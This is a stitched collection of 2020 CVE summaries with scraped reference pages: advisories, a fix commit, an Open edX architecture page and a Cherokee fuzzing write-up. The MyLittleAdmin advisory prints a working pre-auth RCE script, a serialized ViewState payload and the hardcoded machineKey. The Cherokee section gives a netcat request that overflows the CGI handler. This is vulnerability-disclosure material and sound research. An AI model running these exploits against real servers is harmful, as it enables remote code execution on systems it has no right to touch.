An exploitable vulnerability exists in the configuration-loading functionality of the jw.util package before 2.3 for Python. When loading a configuration with FromString or FromStream with YAML, one can execute arbitrary Python code, resulting in OS command execution, because safe_load is not used.

CVE-2020-13388: Joel

An issue was discovered in libexif before 0.6.22. Use of uninitialized memory in EXIF Makernote handling could lead to crashes and potential use-after-free conditions.

Permalink

Browse files

Ensure the MakerNote data pointers are initialized with NULL.

This ensures that an uninitialized pointer isn't dereferenced later in
the case where the number of components (and therefore size) is 0.

This fixes the second issue reported at
https://sourceforge.net/p/libexif/bugs/125/

CVE-2020-13113

*   Loading branch information

Showing with **4 additions** and **0 deletions**.

1.  +1 −0 libexif/canon/exif-mnote-data-canon.c
2.  +1 −0 libexif/fuji/exif-mnote-data-fuji.c
3.  +1 −0 libexif/olympus/exif-mnote-data-olympus.c
4.  +1 −0 libexif/pentax/exif-mnote-data-pentax.c

CVE-2020-13113: Ensure the MakerNote data pointers are initialized with NULL. · libexif/libexif@ec412aa

Type confusion in Blink in Google Chrome prior to 81.0.4044.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

About Monorail User Guide Release Notes Feedback on Monorail Terms Privacy

CVE-2020-6464: 1071059 - chromium - An open-source project to help move the web forward.

Inappropriate implementation in installer in Google Chrome on OS X prior to 83.0.4103.61 allowed a local attacker to perform privilege escalation via a crafted file.

CVE-2020-6477: 946156 - chromium - An open-source project to help move the web forward.

Use after free in ANGLE in Google Chrome prior to 81.0.4044.122 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

CVE-2020-6463: 1065186 - chromium - An open-source project to help move the web forward.

The management tool in MyLittleAdmin 3.8 allows remote attackers to execute arbitrary code because machineKey is hardcoded (the same for all customers' installations) in web.config, and can be used to send serialized ASP code.

**TL;DR**

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

**Vulnerability Summary**

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

**CVE**

CVE-2020-13166

**Credit**

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

**Affected Systems**

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

**Vendor Response**

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

**Workaround**

The following workaround was provided to us by Tim Aplin from @Umbrellar:

Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset

**Vulnerability Details**

MyLittleAdmin utilizes a hardcoded _machineKey_ for all installations, this value is kept in the file: _C:\\Program Files (x86)\\MyLittleAdmin\\web.config_

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

**Vulnerable Key**

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to _ysoserial.exe_ it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

**Demo**

![](https://ssd-disclosure.com/wp-content/uploads/2020/05/mylittleadmin-2-2.gif)

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

**Exploit**

The provided exploit code will connect to a remote server and send a payload that starts a _calc.exe_ in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http\_client
except ImportError:
    # Python 2
    import httplib as http\_client

http\_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests\_log = logging.getLogger("requests.packages.urllib3")
requests\_log.setLevel(logging.DEBUG)
requests\_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

\_\_VIEWSTATEGENERATOR = ""
\_\_EVENTVALIDATION = ""
ServerName = ""

for input in soup.find\_all('input'):
  if input\['id'\] == '\_\_VIEWSTATEGENERATOR':
    \_\_VIEWSTATEGENERATOR = input\['value'\]
  if input\['id'\] == '\_\_EVENTVALIDATION':
    \_\_EVENTVALIDATION = input\['value'\]
  if input\['name'\] == 'fServerName$cControl':
    ServerName = input\['value'\]

# print("\_\_VIEWSTATEGENERATOR: {}\\n\_\_EVENTVALIDATION: {}\\nServerName: {}".format(\_\_VIEWSTATEGENERATOR, \_\_EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '\_\_VIEWSTATE' : shellcode,
  '\_\_VIEWSTATEGENERATOR' : \_\_VIEWSTATEGENERATOR,
  '\_\_EVENTVALIDATION' : \_\_EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

CVE-2020-13166: SSD Advisory - MyLittleAdmin PreAuth RCE - SSD Secure Disclosure

Studio in Open edX Ironwood 2.5, when CodeJail is not used, allows a user to go to the "Create New course>New section>New subsection>New unit>Add new component>Problem button>Advanced tab>Custom Python evaluated code" screen, edit the problem, and execute Python code. This leads to arbitrary code execution.

Open edX Developer's Guide

The Open edX project is a web-based platform for creating, delivering, and analyzing online courses. It is the software that powers edx.org and many other online education sites.

This page explains the architecture of the platform at a high level, without getting into too many details.

**2.1. Overview¶**

There are a handful of major components in the Open edX project. Where possible, these communicate using stable, documented APIs.

The centerpiece of the Open edX architecture is edx-platform, which contains the learning management and course authoring applications (LMS and Studio, respectively).

This service is supported by a collection of other autonomous web services called independently deployed applications (IDAs). Over time, edX plans to break out more of the existing edx-platform functions into new IDAs. This strategy will help manage the complexity of the edx-platform code base to make it as easy as possible for developers to approach and contribute to the project.

![A diagram of the components and technologies that make up an edX site.](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/_images/edx-architecture.png)

Almost all of the server-side code in the Open edX project is in Python, with Django as the web application framework.

**2.2. Key Components¶**

**2.2.1. Learning Management System (LMS)¶**

The LMS is the most visible part of the Open edX project. Learners take courses using the LMS. The LMS also provides an instructor dashboard that users who have the Admin or Staff role can access by selecting **Instructor**.

The LMS uses a number of data stores. Courses are stored in MongoDB, with videos served from YouTube or Amazon S3. Per-learner data is stored in MySQL.

As learners move through courses and interact with them, events are published to the analytics pipeline for collection, analysis, and reporting.

**2.2.1.1. Front End¶**

The Django server-side code in the LMS and elsewhere uses Mako for front-end template generation. The browser-side code is written primarily in JavaScript with some CoffeeScript as well (edX is working to replace that code with JavaScript). Parts of the client-side code use the Backbone.js framework, and edX is moving more of the code base to use that framework. The Open edX project uses Sass and the Bourbon framework for CSS code.

**2.2.1.2. Course Browsing¶**

The Open edX project provides a simple front page for browsing courses. The edx.org site has a separate home page and course discovery site that is not open source.

**2.2.1.3. Course Structure¶**

Open edX courses are composed of units called XBlocks. Anyone can write new XBlocks, allowing educators and technologists to extend the set of components for their courses. The edX platform also still contains several XModules, the precursors to XBlocks. EdX is working to rewrite the existing XModules as XBlocks and remove XModules from our code base.

In addition to XBlocks, there are a few ways to extend course behavior:

*   The LMS is an LTI tool consumer. Course authors can embed LTI tools to integrate other learning tools into an Open edX course.
    
*   Problems can use embedded Python code to either present the problem or assess the learner’s response. Instructor-written Python code is executed in a secure environment called CodeJail.
    
*   JavaScript components can be integrated using JS Input.
    
*   Courses can be exported and imported using OLX (open learning XML), an XML- based format for courses.
    

**2.2.2. Studio¶**

Studio is the course authoring environment. Course teams use it to create and update courses. Studio writes its courses to the same Mongo database that the LMS uses.

**2.2.3. Discussions¶**

Course discussions are managed by an IDA called comments (also called forums). comments is one of the few non-Python components, written in Ruby using the Sinatra framework. The LMS uses an API provided by the comments service to integrate discussions into the learners’ course experience.

The comments service includes a notifier process that sends learners notifications about updates in topics of interest.

**2.2.4. Mobile Apps¶**

The Open edX project includes a mobile application, available for iOS and Android, that allows learners to watch course videos and more. EdX is actively enhancing the mobile app.

**2.2.5. Analytics¶**

Events describing learner behavior are captured by the Open edX analytics pipeline. The events are stored as JSON in S3, processed using Hadoop, and then digested, aggregated results are published to MySQL. Results are made available via a REST API to Insights, an IDA that instructors and administrators use to explore data that lets them know what their learners are doing and how their courses are being used.

![A diagram of the components and technologies that make up the Open edX analytics architecture.](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/_images/edx-architecture-analytics.png)

**2.2.6. Background Work¶**

A number of tasks are large enough that they are performed by separate background workers, rather than in the web applications themselves. This work is queued and distributed using Celery and RabbitMQ. Examples of queued work include:

*   Grading entire courses
    
*   Sending bulk emails (with Amazon SES)
    
*   Generating answer distribution reports
    
*   Producing end-of-course certificates
    

The Open edX project includes an IDA called XQueue that can run custom graders. These are separate processes that run compute-intensive assessments of learners’ work.

**2.2.7. Search¶**

The Open edX project uses Elasticsearch for searching in multiple contexts, including course search and the comments service.

**2.2.8. Other Components¶**

In addition to the components detailed above, the Open edX project also has services for other capabilities, such as one that manages e-commerce functions like order work flows and coupons.

CVE-2020-13144: 2. Open edX Architecture — Open edX Developer's Guide documentation

An exploitable code execution vulnerability exists in the PDF parser of Nitro Pro 13.9.1.155. A specially crafted PDF document can cause a use-after-free which can lead to remote code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

An exploitable code execution vulnerability exists in the PDF parser of Nitro Pro 13.9.1.155. A specially crafted PDF document can cause a use-after-free which can lead to remote code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Nitro Pro 13.9.1.155

**Product URLs**

https://www.gonitro.com/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-416 - Use After Free

**Details**

Nitro PDF allows users to save, read, sign and edit PDF files on their machines.

The modules analyzed for this vulnerability are:

    Mapped memory image file: C:\Program Files\Nitro\Pro\13\NitroPDF.exe
    Image path: C:\Program Files\Nitro\Pro\13\NitroPDF.exe
    Image name: NitroPDF.exe
    Browse all global symbols  functions  data
    Timestamp:        Thu Dec 19 05:46:43 2019 (5DFB6323)
    CheckSum:         00932421
    ImageSize:        00934000
    File version:     13.9.1.155
    Product version:  13.9.1.155
    

During the parsing of a PDF, a buffer is allocated for each page in the PDF. These pages are stored in a larger PDF object.

    NitroPDF+0x98a5a
            curr_page_number = 0;
            result = PDDocGetNumPages(v2);
            num_pages = result;
            if ( !result )
            {
                num_pages = 1;
                v3 = 1;
            }
            if ( num_pages > 0 )
            {
                do
                {
                    v7 = operator new(0xB8ui64);
                    memset(v7, 0, 0xB8ui64);
                    *((_DWORD *)v7 + 0x27) = curr_page_number;
                    *((_BYTE *)v7 + 0x98) = v3;
                    sub_98850(v1, (__int64)v7, curr_page_number, 0);
    
                    // Saving the allocated page in the larger PDF object
                    result = (*(__int64 (__fastcall **)(__int64, void **))(*(_QWORD *)(v1 + 0x5A8) + 72i64))(v1 + 0x5A8, &v7);
                    ++curr_page_number;
                } while ( curr_page_number < num_pages );
            }
    

In the case of nested pages, it is possible to free this page in the overarching PDF object.

    NitroPDF+0x9c13d
        if ( (_DWORD)curr_pages == 1 )
        {
            page_struct = (_BYTE *)sub_96E30(v10, 0i64, 1u);
            if ( page_struct )
            {
            if ( page_struct[0x98] )
            {
                LODWORD(curr_pages) = 0;
    
                // Freeing the original page allocated for the PDF
                ((void (__cdecl *)(void *, int))j_j_free)(page_struct, 0xB8);
                *(_QWORD *)(v10 + 0x5B8) = *(_QWORD *)(v10 + 0x5B0);
            }
            }
        }
    

With this page freed, a crafted PDF can cause an exception to occur. One way is to claim to have more pages in the PDF than given via the /Kids tag. An example of what causes this exception is below:

    3 0 obj
    <<
      /Count 2
      /Kids [ ]
    >>
    

During the handling of this exception, a set of cleanup code is called for the main PDF object. In this code, various buffers are cleared, including the original buffer allocation for our page in the PDF.

    NitroPDF+3154b6
    
    .text:00000000003154B6                 mov     [rsp+38h+var_28], rdx
    .text:00000000003154BB                 push    rbp
    .text:00000000003154BC                 sub     rsp, 30h
    .text:00000000003154C0                 mov     rbp, rdx
    .text:00000000003154C3                 mov     rax, [rbp+78h]
    .text:00000000003154C7                 mov     qword ptr [rax], 0
    .text:00000000003154CE                 mov     byte ptr [rax+98h], 1
    .text:00000000003154D5                 lea     rax, unk_988FB
    .text:00000000003154DC                 add     rsp, 30h
    .text:00000000003154E0                 pop     rbp
    .text:00000000003154E1                 retn
    

While the page was freed, it was never cleared from the original PDF object. A carefully crafted PDF could possibly setup the heap in a way to write an arbitrary null byte out of bounds which can lead to further memory corruption and possibly arbitrary code execution.

**Timeline**

2020-02-17 - Vendor Disclosure  
2020-05-18 - Public Release

Discovered by Cory Duplantis of Cisco Talos.

CVE-2020-6074: TALOS-2020-0997 || Cisco Talos Intelligence Group

An XSS issue was discovered in handler_server_info.c in Cherokee through 1.2.104. The requested URL is improperly displayed on the About page in the default configuration of the web server and its administrator panel. The XSS in the administrator panel can be used to reconfigure the server and execute arbitrary commands.

For the letter _c_ we chose Cherokee project. It is a web server written mainly in C language. What’s interesting, this server may be met on IoT devices including GoPro cameras.

Our approach to find bugs was quite similar to the previous ones, but we decided to extend it in some ways.

**Preparing**

We started with preparing the environment for fuzzing.

    $ git clone https://github.com/cherokee/webserver.git

During building we encountered a problem:

    undefined reference to `rpl_malloc`

which was solved by setting ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes. So finally, we were able to build with:

    $ ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no
    make

After building: Run the main server

    $ cherokee

and administration panel (with an option to listen on all network interfaces)

    $ cherokee-admin -l 0.0.0.0

**Fuzzing**

Our idea was to test all handlers offered by the server. We enabled and made them available under paths /test1, /test2, …, /test19. Backed up configuration file is also available here.

Radamsa was run from a custom script. A few HTTP requests were taken as an input and after modification were sent to all handlers.

To improve result analysis we set up two additional tools. The first one - _gcov_, was already configured during the building (with compiler flags -fprofile-arcs -ftest-coverage). This tool helps in measuring code coverage. After some time of fuzzing it was beneficial to verify through how many code paths we went through.

While the application was running, special files *.gcda were created. They can be converted to HTML files with ease to read statistics.

    $ lcov --capture --directory . --output-file coverage.info
    $ genhtml coverage.info --output-directory out

As the result, coverage report in form of HTML document will appear in out directory.

The second tool - OpenGrok, was set up to help reading the code. It’s a source code browser, supporting cross-reference navigation and search options in a browser. Its installation and configuration process is well documented on the project’s page.

**Results**

By fuzzing we discovered several crashes in various handlers. All were reported on the Cherokee’s GitHub.

*   https://github.com/cherokee/webserver/issues/1226
*   https://github.com/cherokee/webserver/issues/1225
*   https://github.com/cherokee/webserver/issues/1224
*   https://github.com/cherokee/webserver/issues/1222
*   https://github.com/cherokee/webserver/issues/1221

One of the interesting findings was in code responsible for handling headers before passing them to the CGI.

    typedef struct {
            cherokee_handler_cgi_base_t base;
    
            int               post_data_sent;    /* amount POSTed to the CGI */
            int               pipeInput;         /* read from the CGI */
            int               pipeOutput;        /* write to the CGI */
            char             *envp[ENV_VAR_NUM]; /* Environ variables for execve() */
            int               envp_last;
            pid_t             pid;               /* CGI pid */
    } cherokee_handler_cgi_t;

Structure cherokee_handler_cgi_t has fixed size array for environmental variables including request headers. When the handler processes a request it adds entries without checking whether boundary value was reached.

    310     cgi->envp[cgi->envp_last] = entry;
    311     cgi->envp_last++;

So, sending a request with enough headers causes writing outside the array.

    echo -e 'GET /test10/test.html HTTP/1.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.170141183460469231731687303715884105727\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 4294967295.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nHost: 127.0.0.1\nUser-Agent: python\n\n' | nc 127.0.0.1 80

    =================================================================
    ==10864==ERROR: AddressSanitizer: SEGV on unknown address 0x6180001cb3c0 (pc 0x55c74bfd2f94 bp 0x7f6bac2e6220 sp 0x7f6bac2e61f0 T7)
    ==10864==The signal is caused by a WRITE memory access.
        #0 0x55c74bfd2f93 in cherokee_handler_cgi_add_env_pair /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310
        #1 0x55c74c02d6e4 in foreach_header_add_unknown_variable /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:664
        #2 0x55c74c09fe32 in cherokee_header_foreach_unknown /home/mmm/fuzz/webserver/cherokee/header.c:1220
        #3 0x55c74c02db36 in cherokee_handler_cgi_base_build_envp /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:696
        #4 0x55c74bfd30f3 in add_environment /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:328
        #5 0x55c74bfd6912 in fork_and_execute_cgi_via_spawner /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:787
        #6 0x55c74bfd35a8 in cherokee_handler_cgi_init /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:382
        #7 0x55c74c04b44c in cherokee_handler_init /home/mmm/fuzz/webserver/cherokee/handler.c:93
        #8 0x55c74c048233 in cherokee_connection_open_request /home/mmm/fuzz/webserver/cherokee/connection.c:2678
        #9 0x55c74bf84889 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1165
        #10 0x55c74bf8a549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086
        #11 0x55c74bf7e300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99
        #12 0x7f6bb2b166da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da)
        #13 0x7f6bb263b88e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310 in cherokee_handler_cgi_add_env_pair
    Thread T7 created by T0 here:
        #0 0x7f6bb2f9dd2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f)
        #1 0x55c74bf7f219 in cherokee_thread_new /home/mmm/fuzz/webserver/cherokee/thread.c:247
        #2 0x55c74bf6773f in initialize_server_threads /home/mmm/fuzz/webserver/cherokee/server.c:671
        #3 0x55c74bf69a05 in cherokee_server_initialize /home/mmm/fuzz/webserver/cherokee/server.c:1053
        #4 0x55c74bf0d76f in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:255
        #5 0x55c74bf0e1f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393
        #6 0x7f6bb253bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    
    ==10864==ABORTING

**XSS**

Despite the bugs discovered by fuzzing, two reflected XSS vulnerabilities were found manually:

*   https://github.com/cherokee/webserver/issues/1223
*   https://github.com/cherokee/webserver/issues/1227

